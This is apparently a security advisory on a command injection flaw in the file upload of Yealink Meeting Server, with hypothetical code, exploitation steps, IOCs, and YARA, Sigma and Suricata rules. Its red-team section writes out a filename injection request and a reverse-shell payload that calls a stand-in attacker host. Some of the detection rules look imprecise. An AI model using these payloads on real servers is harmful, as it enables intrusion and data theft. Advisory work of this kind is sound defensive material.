CVE-2024-24091

Executive Summary

CVE-2024-24091 is an OS command injection vulnerability in Yealink Meeting Server versions prior to v26.0.0.66. The flaw resides in the file upload interface, allowing an authenticated attacker to inject arbitrary operating system commands. Successful exploitation could lead to full server compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has released a patched version (v26.0.0.66) to address this issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software vulnerability in Yealink Meeting Server.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, likely due to incomplete or missing vector information from the NVD. However, based on the nature of the vulnerability (OS command injection in a network-accessible service), the following estimated CVSS vector is provided:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated access to the file upload interface.
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS v3.1 Score: 8.8 (High)

Threat Level: High. The vulnerability allows for remote code execution with low privileges required.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of Yealink Meeting Server. The application fails to properly sanitize user-supplied input within the filename or other parameters of the file upload request. This allows an attacker to inject OS commands that are then executed by the server's underlying operating system.

Root Cause: The application likely passes the filename or other upload-related parameters directly to a system command (e.g., mv, cp, unzip) without proper escaping or validation. For example, a filename like ; id ; .txt could be interpreted as a command separator, leading to the execution of the id command.

Attack Vector: An authenticated attacker sends a crafted HTTP request to the file upload endpoint. The request contains malicious payloads in the filename or other parameters. The server processes this input and executes the injected commands.

Impact: Full compromise of the Yealink Meeting Server, including:

• Unauthorized access to meeting recordings, user data, and configuration files.
• Ability to install backdoors, ransomware, or other malware.
• Lateral movement to other systems on the network.
• Denial of service by crashing the server or consuming resources.

Vulnerable vs. Patched Code

Since the source code is proprietary, a direct code comparison is not possible. However, the patch likely involves:

• Input Validation: Implementing strict validation of filenames and other upload parameters to reject any characters that could be used for command injection (e.g., ;, |, &, `, $()).
• Safe API Usage: Replacing unsafe system calls (e.g., exec(), system(), Runtime.getRuntime().exec()) with safer alternatives that do not interpret shell metacharacters.
• Parameterization: Using parameterized queries or safe file handling libraries that separate commands from data.

Vulnerable Code (Hypothetical):

String filename = request.getParameter("filename");
String command = "mv /tmp/upload/" + filename + " /var/www/uploads/";
Runtime.getRuntime().exec(command);

Patched Code (Hypothetical):

String filename = request.getParameter("filename");
// Validate filename against a whitelist of allowed characters
if (!filename.matches("[a-zA-Z0-9._-]+")) {
    throw new SecurityException("Invalid filename");
}
// Use a safe file handling API
Path source = Paths.get("/tmp/upload/" + filename);
Path target = Paths.get("/var/www/uploads/" + filename);
Files.move(source, target);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a vulnerable Yealink Meeting Server (version < 26.0.0.66).
• Valid credentials for an authenticated user with file upload privileges.

Exploitation Steps:

1. Identify the File Upload Endpoint: Use a web proxy (e.g., Burp Suite) to intercept traffic and identify the file upload endpoint (e.g., /upload or /api/upload).

2. Craft the Malicious Request: Modify the filename parameter to include a command injection payload. For example:

   POST /upload HTTP/1.1
   Host: target-server
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename=";id;.txt"
   Content-Type: text/plain
   
   [file content]
   ------WebKitFormBoundary--
   

3. Execute the Exploit: Send the crafted request. The server will execute the id command and the output may be reflected in the response or logged.

4. Achieve Remote Code Execution: Use more sophisticated payloads to establish a reverse shell or execute arbitrary commands. Example payload for a reverse shell:

   filename=";bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1';.txt"
   

Note: No public exploit code is available. The above is a hypothetical exploitation scenario.

Blue Team (Defensive)

Detection and Response:

1. Monitor File Upload Endpoints: Log all file upload requests and inspect filenames for suspicious characters (e.g., ;, |, &, `, $()).

2. Web Application Firewall (WAF) Rules: Deploy WAF rules to block requests containing command injection patterns in filenames or other parameters.

3. Endpoint Detection and Response (EDR): Monitor for unusual process execution (e.g., cmd.exe, /bin/sh, bash) originating from the Yealink Meeting Server process.

4. Network Segmentation: Isolate the Yealink Meeting Server in a separate network segment with strict egress filtering to prevent lateral movement.

5. Patch Management: Prioritize patching to version 26.0.0.66 or later.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /upload or similar endpoints with filenames containing shell metacharacters (e.g., ;, |, &, `, $()).
• Outbound connections from the Yealink Meeting Server to unknown IP addresses on unusual ports (e.g., 4444, 1337).

Host IOCs:

• Unexpected processes spawned by the Yealink Meeting Server process (e.g., cmd.exe, /bin/sh, bash, python).
• New files created in unexpected locations (e.g., /tmp/, /var/www/uploads/).
• Modified system files or configuration files.
• Presence of web shells or backdoors.

File IOCs:

• Files with names containing shell metacharacters in the upload directory.
• Suspicious scripts or binaries in the upload directory.

Detection Engineering

YARA Rule

rule CVE_2024_24091_Yealink_Command_Injection {
    meta:
        description = "Detects potential command injection attempts targeting CVE-2024-24091 in Yealink Meeting Server"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24091"
        hash = "unknown"
    strings:
        $s1 = /filename="[^"]*[;&|`$()][^"]*"/ nocase
        $s2 = /filename='[^']*[;&|`$()][^']*'/ nocase
        $s3 = /filename=[^& ]*[;&|`$()][^& ]*/ nocase
    condition:
        any of them
}

Sigma Rule

title: Yealink Meeting Server Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to Yealink Meeting Server file upload endpoints with suspicious filenames indicating command injection.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24091
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/upload'
            - '/api/upload'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate filenames containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24091 Yealink Meeting Server Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename"; http_client_body; pcre:"/filename=[^&]*[;&|`$()][^&]*/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Yealink Meeting Server to version 26.0.0.66 or later immediately.
2. Workaround: If immediate patching is not possible, disable the file upload functionality or restrict access to it via firewall rules or authentication.

Long-Term Measures:

1. Input Validation: Implement strict input validation for all user-supplied data, especially filenames.
2. Least Privilege: Run the Yealink Meeting Server with the minimum necessary privileges.
3. Regular Security Audits: Conduct regular security assessments and code reviews.
4. Web Application Firewall: Deploy a WAF to detect and block command injection attempts.
5. Network Segmentation: Isolate critical servers from the internet and other internal networks.

Valters IT